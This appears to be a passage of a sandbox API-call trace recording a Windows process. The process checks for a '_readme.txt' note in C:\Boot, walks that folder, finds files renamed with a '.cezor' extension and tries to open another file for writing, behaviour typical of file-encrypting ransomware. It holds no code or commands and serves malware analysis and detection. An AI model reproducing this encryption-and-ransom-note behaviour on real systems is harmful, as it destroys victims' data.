[0122.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.431] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.431] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.432] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.432] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307bf60 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.434] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.434] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.434] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.435] PathFindFileNameW (pszPath="") returned="" [0122.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.435] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.435] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307bf60 [0122.435] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307bf60 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.435] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307bf60 | out: hHeap=0x5b0000) returned 1 [0122.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.435] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0122.435] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.435] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.435] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 1 [0122.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.436] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13deb6b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13deb6b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.436] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13deb6b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13deb6b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.436] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1cedc660, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1cedc660, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0122.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.436] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0122.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.436] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x1c89cca0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0122.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.436] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0122.436] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.436] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1.cezor", cAlternateFileName="BCDLOG~1.CEZ")) returned 1 [0122.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.436] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1.cezor") returned=".cezor" [0122.436] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.436] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2.cezor", cAlternateFileName="BCDLOG~2.CEZ")) returned 1 [0122.436] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc5b0 [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.437] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG2.cezor") returned=".cezor" [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc5b0 | out: hHeap=0x5b0000) returned 1 [0122.437] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x13deb6b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x1004e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.cezor", cAlternateFileName="BOOTST~1.CEZ")) returned 1 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdd9c8 [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.437] PathFindExtensionW (pszPath="C:\\Boot\\BOOTSTAT.DAT.cezor") returned=".cezor" [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdd9c8 | out: hHeap=0x5b0000) returned 1 [0122.437] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a595b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a595b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x3018798 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018888 [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.437] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a7f710, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a7f710, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x38) returned 0x2ffa868 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30188b0 [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018888 | out: hHeap=0x5b0000) returned 1 [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.437] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.437] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.437] RtlAllocateHeap 